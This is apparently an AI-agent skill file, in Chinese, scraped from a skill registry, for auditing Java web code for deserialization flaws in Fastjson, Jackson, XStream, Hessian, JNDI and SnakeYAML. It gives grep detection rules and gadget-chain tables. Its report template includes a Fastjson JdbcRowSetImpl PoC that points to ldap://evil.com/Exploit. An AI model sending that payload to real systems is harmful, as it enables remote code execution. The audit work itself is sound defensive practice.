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Java Web 源码反序列化漏洞审计工具。覆盖 Java 原生反序列化、Fastjson/Jackson/XStream/Hessian/JNDI/SnakeYAML 等反序列化入口检测，结合 classpath gadget 链分析进行利用链评估。适用于：(1) 识别反序列化入口点，(2) 检测 classpath 中已知 gadget 链，(3) 结合鉴权状态评估可利用性，(4) 审计 JNDI 注入风险。**支持反编译 .class/.jar 文件**。
Java Web 源码反序列化漏洞审计工具。覆盖 Java 原生反序列化、Fastjson/Jackson/XStream/Hessian/JNDI/SnakeYAML 等反序列化入口检测，结合 classpath gadget 链分析进行利用链评估。适用于：(1) 识别反序列化入口点，(2) 检测 classpath 中已知 gadget 链，(3) 结合鉴权状态评估可利用性，(4) 审计 JNDI 注入风险。**支持反编译 .class/.jar 文件**。
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扫描 Java Web 项目源码，识别所有反序列化入口，检测可用的 gadget 链，评估利用可行性。
{C/H/M/L}-DESERIALIZE-{序号}完整入口点详解（Java 原生/Fastjson/Jackson/XStream/Hessian/SnakeYAML/RMI/LDAP）见 DESERIALIZATION_ENTRIES.md
| 反序列化类型 | 识别特征 | 危险等级 |
|---|---|---|
| Java 原生反序列化 | ObjectInputStream.readObject(), ObjectInputStream.readUnshared() | 🔴 Critical |
| Fastjson | JSON.parseObject(), JSON.parse() + autoType 开启 | 🔴 Critical |
| Jackson | ObjectMapper.enableDefaultTyping(), @JsonTypeInfo 注解 | 🟡 High |
| XStream | XStream.fromXML(), new XStream() 无安全框架 | 🟡 High |
| Hessian | HessianInput.readObject(), Hessian2Input.readObject() | 🔴 Critical |
| JNDI 注入 | InitialContext.lookup(), InitialDirContext.lookup() | 🔴 Critical |
| SnakeYAML | Yaml.load() (非 loadAs), Constructor() 自定义 | 🟡 High |
| RMI | Naming.lookup(), Registry.lookup() 远程 RMI | 🟡 High |
| LDAP | new InitialDirContext(env) + 用户可控 LDAP URL | 🟡 High |
# 步骤1: 识别反序列化依赖
find {source_path} -name "*.jar" | grep -iE "fastjson|jackson|xstream|hessian|snakeyaml|yaml|commons-collections|commons-beanutils|spring|groovy|aspectj"
# 步骤2: 扫描 pom.xml 反序列化相关依赖
grep -rE "fastjson|jackson|xstream|hessian|snakeyaml" {source_path}/pom.xml 2>/dev/null
# 步骤3: 扫描 deserialize 入口点
grep -rnE "readObject|readUnshared|readResolve|readExternal" {source_path} --include="*.java" --include="*.class"
检测规则：
# 寻找 ObjectInputStream.readObject 调用
grep -rnE "readObject\(\)|readUnshared\(\)" --include="*.java"
# 寻找 ObjectInputStream 构造（网络输入 / 文件输入 / HTTP Body）
grep -rnE "new ObjectInputStream\(" --include="*.java" | grep -v "System.in"
# 寻找 Base64 解码 + ObjectInputStream（常见绕过 WAF 模式）
grep -rnE "Base64.*decode.*ObjectInputStream|ObjectInputStream.*Base64" --include="*.java"
关键判定：
request.getInputStream() → ✅ 可由 HTTP 触发ValidatingObjectInputStream、LookAheadObjectInputStream）→ 如有则降级检测规则：
# 寻找 parseObject / parse 调用
grep -rnE "JSON\.parseObject\(|JSON\.parse\(|JSONObject\.parseObject\(|JSONArray\.parseArray\(" --include="*.java"
# 检查 autoType 是否开启
grep -rnE "ParserConfig.*AutoTypeSupport|autoTypeSupport.*true" --include="*.java"
grep -rnE "autoTypeEnable|setAutoTypeSupport" --include="*.java"
Fastjson 版本与利用条件速查：
| 版本 | 利用方式 | 条件 |
|---|---|---|
| ≤ 1.2.24 | 直接 autoType RCE | 无限制 |
| ≤ 1.2.47 | autoType 绕过 | 需开启 autoType 或有特定 class |
| ≤ 1.2.68 | expectClass 绕过 | 需 @type 可控 |
| ≤ 2.0.x | 新 autoType 绕过 | 需特定 JDK 版本 |
检测规则：
# enableDefaultTyping 开启检测
grep -rnE "enableDefaultTyping|ENABLE_DEFAULT_TYPING|DefaultTyping" --include="*.java"
# @JsonTypeInfo 注解使用
grep -rnE "@JsonTypeInfo\(|@JsonSubTypes\(" --include="*.java"
# polymorphic 反序列化（readValue 含泛型 Object.class）
grep -rnE "readValue\(.*Object\.class|readValue\(.*Serializable" --include="*.java"
检测规则：
# XStream 实例化 - 检查是否设置安全框架
grep -rnE "new XStream\(\)|XStream.*fromXML" --include="*.java"
grep -rnE "setClassLoader|addPermission|allowTypes|denyTypes|XStream\.setupDefaultSecurity" --include="*.java"
# 版本检测
find . -name "xstream-*.jar" -o -name "xstream-*-*.jar"
XStream 历史 CVE 速查：
| CVE | 影响版本 | CVSS |
|---|---|---|
| CVE-2021-39144 | ≤ 1.4.17 | 9.8 |
| CVE-2021-29505 | ≤ 1.4.16 | 9.8 |
| CVE-2021-21351 | ≤ 1.4.15 | 9.1 |
| CVE-2020-26217 | ≤ 1.4.13 | 9.8 |
检测规则：
# Hessian 输入
grep -rnE "HessianInput|Hessian2Input|SerializerFactory" --include="*.java"
grep -rnE "HessianServlet|HessianServiceExporter|HessianProxyFactory" --include="*.java"
# Dubbo 中 Hessian2 使用
grep -rnE "DubboProtocol|hessian2" --include="*.java"
grep -rnE "SerializationOptimizer|Hessian2Serialization" --include="*.java"
完整 JNDI 注入详解（JDK 版本限制矩阵 + Log4Shell + Spring Cloud Gateway + marshalsec 利用）见 JNDI_INJECTION.md
检测规则：
# JNDI lookup 调用 - 最高优先级
grep -rnE "\.lookup\(|InitialDirContext" --include="*.java"
# 判断 lookup 参数来源是否为用户可控
# 需要配合 route-tracer 做数据流追踪
# Log4j JNDI 特征（即使已打补丁也要标记）
grep -rnE "JndiLookup|JndiManager|log4j.*jndi" --include="*.java"
JNDI 注入利用条件：
| JDK 版本 | ldap:// | rmi:// | 条件 |
|---|---|---|---|
| ≤ 8u113 | ✅ | ✅ | 无限制 |
| 8u113-8u191 | ✅ | ✅ | trustURLCodebase=true |
| ≥ 8u191 | ❌ | ❌ | 需本地 gadget 链 (deserialize + JNDI) |
检测规则：
# Yaml.load — 危险！不要用 loadAs 过滤
grep -rnE "Yaml\(\)\.load\(|new Yaml\(\)" --include="*.java" | grep -v "loadAs"
# Spring Boot yaml 配置注入
grep -rnE "spring\.yaml\.|YamlPropertiesFactoryBean" --include="*.java"
这是决定反序列化漏洞能否 RCE 的关键步骤。
完整 Gadget 链矩阵（24 条 ysoserial 链 + Fastjson/Jackson/Hessian/XStream 专用链）见 GADGET_CHAINS.md
# 扫描 WEB-INF/lib 中是否存在已知 gadget 库
find {source_path} -name "*.jar" | grep -iE "commons-collections|commons-beanutils|commons-logging|spring-|groovy|aspectj|jython|rome|click-nodeps|vaadin|c3p0|hessian|jboss|wicket|mojarra|myfaces"
Gadget 库与对应的 ysoserial 利用链：
| Gadget 库 | ysoserial 链名 | JDK 限制 |
|---|---|---|
| commons-collections 3.x | CommonsCollections1-7 | JDK ≤ 8u71 (CC1) |
| commons-collections 4.x | CommonsCollections2/4/8 | 需 commons-collections4 |
| commons-beanutils 1.9.x | CommonsBeanutils1 | 无 JDK 限制 |
| spring-core + spring-beans | Spring1/2 | 需 spring 版本匹配 |
| groovy 2.x | Groovy1 | JDK ≤ 8u191 |
| fastjson ≥ 1.2.24 | 走 JNDI/JDBC 链 | 见 2.2 节 |
| jackson + 任意 gadget | 走 polymorphic 链 | 需 enableDefaultTyping |
结合以下维度判定风险等级：
可利用性 = f(入口可达性, 鉴权状态, gadget 可用性, JDK 版本)
判定规则：
├── 入口可达 + ❌无鉴权 + classpath 含 gadget → 🔴 Critical 可直接利用
├── 入口可达 + 🔓可绕过鉴权 + classpath 含 gadget → 🔴 Critical 需绕过步骤
├── 入口可达 + ✅有鉴权 + classpath 含 gadget → 🟡 High 需认证后利用
├── 入口可达 + 任何鉴权 + classpath 不含 gadget → 🟢 Low 需自定义 gadget
└── 入口不可达 → 排除
# Java 反序列化漏洞审计报告
## 📊 扫描概览
| 指标 | 数量 |
|:-----|:-----|
| 反序列化入口点 | X |
| 含 gadget 链入口 | Y |
| 无鉴权 + 含 gadget | Z |
| 可绕过鉴权 + 含 gadget | W |
## 🔴 高危风险详情
### [C-DESERIALIZE-001] Fastjson 反序列化 RCE
- **位置**: `UserController.parse() (UserController.java:45)`
- **反序列化类型**: Fastjson
- **版本**: fastjson 1.2.24 (含已知 RCE gadget)
- **触发方式**: POST `/api/parse` → `@RequestBody String json` → `JSON.parse(json)`
- **鉴权状态**: ❌ 无鉴权
- **利用链**: Fastjson 1.2.24 → JNDI 注入 → RCE
- **PoC**:
```http
POST /api/parse HTTP/1.1
Content-Type: application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://evil.com/Exploit","autoCommit":true}
RpcController.handle() (RpcController.java:78)/api/rpc → Hessian2 反序列化...
| 序号 | 类名 | 方法 | 反序列化类型 | gadget 可用 | 鉴权 | 风险 |
|---|---|---|---|---|---|---|
| 1 | UserController | parse | Fastjson | ✅ CC1 | ❌ | 🔴 |
| 2 | RpcController | handle | Hessian2 | ✅ CC1 | ❌ | 🔴 |
| ... | ... | ... | ... | ... | ... | ... |
---
## 核心要求
- ✅ 识别所有反序列化入口点（7 种类型全覆盖）
- ✅ 检测 classpath 中已知 gadget 库
- ✅ 结合 JDK 版本评估利用链可行性
- ✅ 结合鉴权状态评估实际可利用性
- ✅ 每个可利用漏洞提供 PoC
- ❌ 禁止跳过反编译步骤
- ❌ 禁止省略 gadget 链分析
---
## 反编译阶段（CRITICAL）
**当源码不可用时，必须使用 CFR 反编译器反编译反序列化相关类。**
详细策略参见 [DECOMPILE_STRATEGY.md](references/DECOMPILE_STRATEGY.md)
```bash
# 反编译序列化工具类
java -jar {CFR_JAR} /path/to/SerializeUtils.class --outputdir {output_path}/decompiled
# 批量反编译反序列化入口类和配置类
find /path/to/WEB-INF/classes -name "*Serial*.class" -o -name "*Deserial*.class" -o -name "*Config*.class" | \
xargs java -jar {CFR_JAR} --outputdir {output_path}/decompiled
严格按照 references/OUTPUT_TEMPLATE.md 中的填充式模板生成输出文件。
{project_name}_deserialize_audit_{YYYYMMDD_HHMMSS}.md| 文档 | 用途 | 何时加载 |
|---|---|---|
| DESERIALIZATION_ENTRIES.md | 8 种反序列化入口详解 + 过滤器检测 + 判定矩阵 | 识别反序列化入口时参考 |
| GADGET_CHAINS.md | 24 条 ysoserial 链矩阵 + Fastjson/Jackson/Hessian/XStream 专用链 | 评估 Gadget 可用性时必读 |
| JNDI_INJECTION.md | JNDI 注入原理 + JDK 版本限制矩阵 + Log4Shell + Spring 关联 | 检测到 JNDI lookup 时必读 |
| OUTPUT_TEMPLATE.md | 填充式输出报告模板 | 生成最终报告时严格对照 |
| DECOMPILE_STRATEGY.md | 反编译策略 + 反序列化类定位 + Gadget 优先扫描 | 源码不可用时必读 |
name: java-deserialization-audit description: Java Web 源码反序列化漏洞审计工具。覆盖 Java 原生反序列化、Fastjson/Jackson/XStream/Hessian/JNDI/SnakeYAML 等反序列化入口检测，结合 classpath gadget 链分析进行利用链评估。适用于：(1) 识别反序列化入口点，(2) 检测 classpath 中已知 gadget 链，(3) 结合鉴权状态评估可利用性，(4) 审计 JNDI 注入风险。**支持反编译 .class/.jar 文件**。
---
name: java-deserialization-audit
description: Java Web 源码反序列化漏洞审计工具。覆盖 Java 原生反序列化、Fastjson/Jackson/XStream/Hessian/JNDI/SnakeYAML 等反序列化入口检测，结合 classpath gadget 链分析进行利用链评估。适用于：(1) 识别反序列化入口点，(2) 检测 classpath 中已知 gadget 链，(3) 结合鉴权状态评估可利用性，(4) 审计 JNDI 注入风险。**支持反编译 .class/.jar 文件**。
---
# Java 反序列化漏洞审计工具
扫描 Java Web 项目源码，识别所有反序列化入口，检测可用的 gadget 链，评估利用可行性。
---
## 漏洞分级标准
详见 [SEVERITY_RATING.md](../java-shared/SEVERITY_RATING.md)
- 漏洞编号格式: `{C/H/M/L}-DESERIALIZE-{序号}`
- 反序列化入口 + 无鉴权 + classpath 含已知 gadget → 直接标记 Critical
- Score = R × 0.40 + I × 0.35 + C × 0.25
---
## 检测范围
> 完整入口点详解（Java 原生/Fastjson/Jackson/XStream/Hessian/SnakeYAML/RMI/LDAP）见 [DESERIALIZATION_ENTRIES.md](references/DESERIALIZATION_ENTRIES.md)
| 反序列化类型 | 识别特征 | 危险等级 |
|:------------|:---------|:---------|
| Java 原生反序列化 | `ObjectInputStream.readObject()`, `ObjectInputStream.readUnshared()` | 🔴 Critical |
| Fastjson | `JSON.parseObject()`, `JSON.parse()` + autoType 开启 | 🔴 Critical |
| Jackson | `ObjectMapper.enableDefaultTyping()`, `@JsonTypeInfo` 注解 | 🟡 High |
| XStream | `XStream.fromXML()`, `new XStream()` 无安全框架 | 🟡 High |
| Hessian | `HessianInput.readObject()`, `Hessian2Input.readObject()` | 🔴 Critical |
| JNDI 注入 | `InitialContext.lookup()`, `InitialDirContext.lookup()` | 🔴 Critical |
| SnakeYAML | `Yaml.load()` (非 loadAs), `Constructor()` 自定义 | 🟡 High |
| RMI | `Naming.lookup()`, `Registry.lookup()` 远程 RMI | 🟡 High |
| LDAP | `new InitialDirContext(env)` + 用户可控 LDAP URL | 🟡 High |
---
## 工作流程
### 1. 项目扫描初始化
```bash
# 步骤1: 识别反序列化依赖
find {source_path} -name "*.jar" | grep -iE "fastjson|jackson|xstream|hessian|snakeyaml|yaml|commons-collections|commons-beanutils|spring|groovy|aspectj"
# 步骤2: 扫描 pom.xml 反序列化相关依赖
grep -rE "fastjson|jackson|xstream|hessian|snakeyaml" {source_path}/pom.xml 2>/dev/null
# 步骤3: 扫描 deserialize 入口点
grep -rnE "readObject|readUnshared|readResolve|readExternal" {source_path} --include="*.java" --include="*.class"
```
### 2. 反序列化入口点检测
#### 2.1 Java 原生反序列化
**检测规则：**
```bash
# 寻找 ObjectInputStream.readObject 调用
grep -rnE "readObject\(\)|readUnshared\(\)" --include="*.java"
# 寻找 ObjectInputStream 构造（网络输入 / 文件输入 / HTTP Body）
grep -rnE "new ObjectInputStream\(" --include="*.java" | grep -v "System.in"
# 寻找 Base64 解码 + ObjectInputStream（常见绕过 WAF 模式）
grep -rnE "Base64.*decode.*ObjectInputStream|ObjectInputStream.*Base64" --include="*.java"
```
**关键判定：**
- ObjectInputStream 的构造函数参数来源是否为 `request.getInputStream()` → ✅ 可由 HTTP 触发
- 是否经过过滤（`ValidatingObjectInputStream`、`LookAheadObjectInputStream`）→ 如有则降级
- classpath 是否存在 ysoserial gadget 链 → 见 2.2 节
#### 2.2 Fastjson 反序列化
**检测规则：**
```bash
# 寻找 parseObject / parse 调用
grep -rnE "JSON\.parseObject\(|JSON\.parse\(|JSONObject\.parseObject\(|JSONArray\.parseArray\(" --include="*.java"
# 检查 autoType 是否开启
grep -rnE "ParserConfig.*AutoTypeSupport|autoTypeSupport.*true" --include="*.java"
grep -rnE "autoTypeEnable|setAutoTypeSupport" --include="*.java"
```
**Fastjson 版本与利用条件速查：**
| 版本 | 利用方式 | 条件 |
|:-----|:---------|:-----|
| ≤ 1.2.24 | 直接 autoType RCE | 无限制 |
| ≤ 1.2.47 | autoType 绕过 | 需开启 autoType 或有特定 class |
| ≤ 1.2.68 | expectClass 绕过 | 需 `@type` 可控 |
| ≤ 2.0.x | 新 autoType 绕过 | 需特定 JDK 版本 |
#### 2.3 Jackson 反序列化
**检测规则：**
```bash
# enableDefaultTyping 开启检测
grep -rnE "enableDefaultTyping|ENABLE_DEFAULT_TYPING|DefaultTyping" --include="*.java"
# @JsonTypeInfo 注解使用
grep -rnE "@JsonTypeInfo\(|@JsonSubTypes\(" --include="*.java"
# polymorphic 反序列化（readValue 含泛型 Object.class）
grep -rnE "readValue\(.*Object\.class|readValue\(.*Serializable" --include="*.java"
```
#### 2.4 XStream 反序列化
**检测规则：**
```bash
# XStream 实例化 - 检查是否设置安全框架
grep -rnE "new XStream\(\)|XStream.*fromXML" --include="*.java"
grep -rnE "setClassLoader|addPermission|allowTypes|denyTypes|XStream\.setupDefaultSecurity" --include="*.java"
# 版本检测
find . -name "xstream-*.jar" -o -name "xstream-*-*.jar"
```
**XStream 历史 CVE 速查：**
| CVE | 影响版本 | CVSS |
|:----|:---------|:-----|
| CVE-2021-39144 | ≤ 1.4.17 | 9.8 |
| CVE-2021-29505 | ≤ 1.4.16 | 9.8 |
| CVE-2021-21351 | ≤ 1.4.15 | 9.1 |
| CVE-2020-26217 | ≤ 1.4.13 | 9.8 |
#### 2.5 Hessian 反序列化
**检测规则：**
```bash
# Hessian 输入
grep -rnE "HessianInput|Hessian2Input|SerializerFactory" --include="*.java"
grep -rnE "HessianServlet|HessianServiceExporter|HessianProxyFactory" --include="*.java"
# Dubbo 中 Hessian2 使用
grep -rnE "DubboProtocol|hessian2" --include="*.java"
grep -rnE "SerializationOptimizer|Hessian2Serialization" --include="*.java"
```
#### 2.6 JNDI 注入
> 完整 JNDI 注入详解（JDK 版本限制矩阵 + Log4Shell + Spring Cloud Gateway + marshalsec 利用）见 [JNDI_INJECTION.md](references/JNDI_INJECTION.md)
**检测规则：**
```bash
# JNDI lookup 调用 - 最高优先级
grep -rnE "\.lookup\(|InitialDirContext" --include="*.java"
# 判断 lookup 参数来源是否为用户可控
# 需要配合 route-tracer 做数据流追踪
# Log4j JNDI 特征（即使已打补丁也要标记）
grep -rnE "JndiLookup|JndiManager|log4j.*jndi" --include="*.java"
```
**JNDI 注入利用条件：**
| JDK 版本 | `ldap://` | `rmi://` | 条件 |
|:---------|:----------|:---------|:-----|
| ≤ 8u113 | ✅ | ✅ | 无限制 |
| 8u113-8u191 | ✅ | ✅ | `trustURLCodebase=true` |
| ≥ 8u191 | ❌ | ❌ | 需本地 gadget 链 (deserialize + JNDI) |
#### 2.7 SnakeYAML 注入
**检测规则：**
```bash
# Yaml.load — 危险！不要用 loadAs 过滤
grep -rnE "Yaml\(\)\.load\(|new Yaml\(\)" --include="*.java" | grep -v "loadAs"
# Spring Boot yaml 配置注入
grep -rnE "spring\.yaml\.|YamlPropertiesFactoryBean" --include="*.java"
```
---
### 3. Classpath Gadget 链分析（CRITICAL）
**这是决定反序列化漏洞能否 RCE 的关键步骤。**
> 完整 Gadget 链矩阵（24 条 ysoserial 链 + Fastjson/Jackson/Hessian/XStream 专用链）见 [GADGET_CHAINS.md](references/GADGET_CHAINS.md)
```bash
# 扫描 WEB-INF/lib 中是否存在已知 gadget 库
find {source_path} -name "*.jar" | grep -iE "commons-collections|commons-beanutils|commons-logging|spring-|groovy|aspectj|jython|rome|click-nodeps|vaadin|c3p0|hessian|jboss|wicket|mojarra|myfaces"
```
**Gadget 库与对应的 ysoserial 利用链：**
| Gadget 库 | ysoserial 链名 | JDK 限制 |
|:----------|:---------------|:---------|
| commons-collections 3.x | CommonsCollections1-7 | JDK ≤ 8u71 (CC1) |
| commons-collections 4.x | CommonsCollections2/4/8 | 需 commons-collections4 |
| commons-beanutils 1.9.x | CommonsBeanutils1 | 无 JDK 限制 |
| spring-core + spring-beans | Spring1/2 | 需 spring 版本匹配 |
| groovy 2.x | Groovy1 | JDK ≤ 8u191 |
| fastjson ≥ 1.2.24 | 走 JNDI/JDBC 链 | 见 2.2 节 |
| jackson + 任意 gadget | 走 polymorphic 链 | 需 enableDefaultTyping |
---
### 4. 可利用性综合评估
结合以下维度判定风险等级：
```
可利用性 = f(入口可达性, 鉴权状态, gadget 可用性, JDK 版本)
判定规则：
├── 入口可达 + ❌无鉴权 + classpath 含 gadget → 🔴 Critical 可直接利用
├── 入口可达 + 🔓可绕过鉴权 + classpath 含 gadget → 🔴 Critical 需绕过步骤
├── 入口可达 + ✅有鉴权 + classpath 含 gadget → 🟡 High 需认证后利用
├── 入口可达 + 任何鉴权 + classpath 不含 gadget → 🟢 Low 需自定义 gadget
└── 入口不可达 → 排除
```
---
### 5. 输出模板
```markdown
# Java 反序列化漏洞审计报告
## 📊 扫描概览
| 指标 | 数量 |
|:-----|:-----|
| 反序列化入口点 | X |
| 含 gadget 链入口 | Y |
| 无鉴权 + 含 gadget | Z |
| 可绕过鉴权 + 含 gadget | W |
## 🔴 高危风险详情
### [C-DESERIALIZE-001] Fastjson 反序列化 RCE
- **位置**: `UserController.parse() (UserController.java:45)`
- **反序列化类型**: Fastjson
- **版本**: fastjson 1.2.24 (含已知 RCE gadget)
- **触发方式**: POST `/api/parse` → `@RequestBody String json` → `JSON.parse(json)`
- **鉴权状态**: ❌ 无鉴权
- **利用链**: Fastjson 1.2.24 → JNDI 注入 → RCE
- **PoC**:
```http
POST /api/parse HTTP/1.1
Content-Type: application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://evil.com/Exploit","autoCommit":true}
```
- **修复建议**: 升级 Fastjson ≥ 1.2.83 并关闭 autoType
---
### [C-DESERIALIZE-002] Hessian 反序列化 RCE
- **位置**: `RpcController.handle() (RpcController.java:78)`
- **反序列化类型**: Hessian2
- **classpath gadget**: commons-collections 3.2.1 (CC1 链可用)
- **触发方式**: POST `/api/rpc` → Hessian2 反序列化
- **鉴权状态**: ❌ 无鉴权
- **JDK 版本**: 项目使用 JDK 8u66 (CC1 链可用)
- **修复建议**: 升级 commons-collections、添加 Hessian 类型白名单
## 🟡 中危风险详情
...
## 📋 完整入口点清单
| 序号 | 类名 | 方法 | 反序列化类型 | gadget 可用 | 鉴权 | 风险 |
|:-----|:-----|:-----|:-----------|:-----------|:-----|:-----|
| 1 | UserController | parse | Fastjson | ✅ CC1 | ❌ | 🔴 |
| 2 | RpcController | handle | Hessian2 | ✅ CC1 | ❌ | 🔴 |
| ... | ... | ... | ... | ... | ... | ... |
```
---
## 核心要求
- ✅ 识别所有反序列化入口点（7 种类型全覆盖）
- ✅ 检测 classpath 中已知 gadget 库
- ✅ 结合 JDK 版本评估利用链可行性
- ✅ 结合鉴权状态评估实际可利用性
- ✅ 每个可利用漏洞提供 PoC
- ❌ 禁止跳过反编译步骤
- ❌ 禁止省略 gadget 链分析
---
## 反编译阶段（CRITICAL）
**当源码不可用时，必须使用 CFR 反编译器反编译反序列化相关类。**
详细策略参见 [DECOMPILE_STRATEGY.md](references/DECOMPILE_STRATEGY.md)
```bash
# 反编译序列化工具类
java -jar {CFR_JAR} /path/to/SerializeUtils.class --outputdir {output_path}/decompiled
# 批量反编译反序列化入口类和配置类
find /path/to/WEB-INF/classes -name "*Serial*.class" -o -name "*Deserial*.class" -o -name "*Config*.class" | \
xargs java -jar {CFR_JAR} --outputdir {output_path}/decompiled
```
---
## 输出格式
**严格按照 [references/OUTPUT_TEMPLATE.md](references/OUTPUT_TEMPLATE.md) 中的填充式模板生成输出文件。**
- 文件名格式: `{project_name}_deserialize_audit_{YYYYMMDD_HHMMSS}.md`
- 不得修改模板结构、不得增删章节、不得调整顺序
- 所有【填写】占位符必须替换为实际内容
- 通用规范参考: [java-shared/OUTPUT_STANDARD.md](../java-shared/OUTPUT_STANDARD.md)
---
## 参考资料
| 文档 | 用途 | 何时加载 |
|------|------|---------|
| [DESERIALIZATION_ENTRIES.md](references/DESERIALIZATION_ENTRIES.md) | 8 种反序列化入口详解 + 过滤器检测 + 判定矩阵 | 识别反序列化入口时参考 |
| [GADGET_CHAINS.md](references/GADGET_CHAINS.md) | 24 条 ysoserial 链矩阵 + Fastjson/Jackson/Hessian/XStream 专用链 | 评估 Gadget 可用性时必读 |
| [JNDI_INJECTION.md](references/JNDI_INJECTION.md) | JNDI 注入原理 + JDK 版本限制矩阵 + Log4Shell + Spring 关联 | 检测到 JNDI lookup 时必读 |
| [OUTPUT_TEMPLATE.md](references/OUTPUT_TEMPLATE.md) | 填充式输出报告模板 | 生成最终报告时严格对照 |
| [DECOMPILE_STRATEGY.md](references/DECOMPILE_STRATEGY.md) | 反编译策略 + 反序列化类定位 + Gadget 优先扫描 | 源码不可用时必读 |
Skill source recorded
Skill instructions are recorded. This is not a runtime test, safety guarantee or compatibility certification.
Review before install: Avoid automatic install
License: MIT
Listed tools are metadata hints, not tested compatibility. Agent prompts are suggested handoffs.
Repository metadata and review signals are advisory. Popularity, source discovery and successful execution are different facts.
Version reported in registry metadata; check source releases before relying on it.
Quality
56/100
Promising
Trust
60
This page exposes the same decision, trust, audit, use-case, and install signals through the Registry API, so agents can rank this skill without scraping the UI.
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